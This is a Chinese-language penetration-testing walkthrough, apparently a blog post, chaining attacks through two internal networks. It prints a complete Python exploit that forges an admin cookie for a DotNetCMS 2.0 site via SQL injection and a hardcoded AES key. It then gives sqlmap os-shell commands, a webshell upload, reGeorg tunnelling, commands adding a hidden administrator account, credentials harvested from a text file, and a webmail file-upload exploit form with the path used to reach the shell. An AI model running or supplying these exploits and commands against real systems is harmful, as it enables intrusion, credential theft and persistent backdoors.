多重内网渗透

 信息收集

登陆目标网站,在首页的使用协议界面查看元素,获取到网站版本

 多重内网渗透

上网搜索到网站所用的DotNetCMS 2.0曾经爆发过一个登陆绕过漏洞

登录绕过漏洞

将下面的代码命名为一个zsd.py的文件

#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:           ####inurl:/manage/Login.aspx   #################################

KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'

IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():

  parser = argparse.ArgumentParser()

  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")

  return parser.parse_args()def run(url):

  try:

      usernumber = get_usernumber(url)

      if usernumber is not None:

          encrypt_cookie = generate_cookie(usernumber)

          #写入cookie中

          write_cookie(url, encrypt_cookie)

  except Exception:

      traceback.print_exc()def get_usernumber(url):

  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"

  content = urllib.urlopen(fullurl).read()

  index = content.index("<option value=\"")

  if  index != -1:

      usernumber = content[index+15:]

      usernumber = usernumber[0: content.index("\"")+1]

      print "Get usernumber success. Usernumber is :", usernumber

      return usernumber

  else:

      print "Get usernumber fail"

      return Nonedef pkcs7padding(data):

  bs = AES.block_size

  padding = bs - len(data) % bs

  padding_text = chr(padding) * padding

  return data + padding_textdef generate_cookie(usernumber):

  orgstr = "%s,admin,0,1,False"%(usernumber,)

  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])

  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))

  ciphertext = base64.b64encode(ciphertext)

  return ciphertextdef write_cookie(url, ciphercookie):

  print "Generate Cookie[SITEINFO]:", ciphercookie

  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':

  args = parse_args()

  try:

      if args.url is not None:

          run(args.url[0])

  except Exception, e:

      print "python Foosun_exp.py -u [url]"

运行zsd文件命令为python zsd.py -u http://www.test.com,会出现报错没有安装crypto模块

 多重内网渗透

再kali中进行安装,命令为pip install Crypto

多重内网渗透

 安装完后再运行一下zsd文件python zsd.py -u http://www.test.com,成功获取到cookie

 多重内网渗透

在后台登录界面/manage/Index.aspx,使用Cookie Editor为【火狐】插件小工具,输入对应的值保存即可【exp.py运行的结果】

 多重内网渗透

删除前面的url,再刷新即可绕过登录后台【不要按“回车键”刷新,点击“url栏”右侧的“转到”-->刷新】

 多重内网渗透

成功绕过登录进入后台管理界面

多重内网渗透

 

 SQL注入getshell

先找到注入点http://www.test.com/user/City_ajax.aspx?CityId=1

 多重内网渗透

利用sqlmap获取shell直接执行sql语句进行交互:sqlmap.py -u “http://www.test.com/user/City_ajax.aspx?CityId=1” --os-shell

多重内网渗透

使用ipconfig查看目标主机IP

多重内网渗透

利用os-shell向目标主机写入aspx一句话

多重内网渗透

成功上传,用“菜刀工具”连接,成功getshell

 多重内网渗透

 

代理访问内网

通过查看ip,发现IP为192.168.1.123;说明这个才是内网想要进一步渗透内网,需要与目标主机建立http隧道,从而进入目标内网

先利用“菜刀”上传“wlt.aspx”文件,在kali中利用“reGeorg”打通隧道便可代理连接

命令python reGeorgSocksProxy.py -p 9982 -u http://192.168.31.55/user/wlt.aspx

 多重内网渗透

使用“proxchains”工具代理火狐浏览器:proxychains firefox

 多重内网渗透

成功访问内网192.168.1.123

 多重内网渗透

 

添加系统超管

在os-shell下建立账户并提升到administrator组

做法:1建一个普通用户net user wllt key123ASD /add 

2将其提权为超级管理用户net localgroup administrators wllt /add

多重内网渗透

代理远程桌面使用http隧道代理访问目标内网主机的3389端口,命令为proxychains rdesktop 192.168.1.123,用自己创建的账户通过远程桌面成功进入

多重内网渗透

 

远程连接系统主机与搜集信息

进入主机后,在Administrator管理员的文件下找到一个txt文件,发现有路由器的账户密码

和一个邮箱账户和密码

 多重内网渗透

多重内网渗透

通过代理firefox以及得到的路由器的账户密码,进入到路由器,发现另一个网段172.19.23.1

 多重内网渗透

在终端监控找到ip 172.19.23.123

多重内网渗透

第二个内网渗透测试

使用http隧道代理建立连接,并访问目标IP

 多重内网渗透

利用上面得到的邮箱账户与密码,成功进入

 多重内网渗透

该CMS曾经爆发过严重的文件上传漏洞,我们可以尝试检查目标网站有没有修复该漏洞

首先使用如下payload,成功爆出user-id为3

/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk

多重内网渗透

使用如下EXP代码上传一个图片马

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<FORMname=form1method=postaction="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>

上传文件:<input type="file" name="Filedata" size="30">

<INPUT type=submit value=上传 name=Submit>

 多重内网渗透

爆出相应的file_id信息

多重内网渗透

 

访问http://172.19.23.123/webmail/client/cache/3/15598087796.jpg/.php,成功连接大马

多重内网渗透

 未完待续!!!

上一篇:使用Content editor webpart 为NewForm增加默认值


下一篇:.aspx页面 用html按钮传送数据到 .aspx.cs后台的方法记录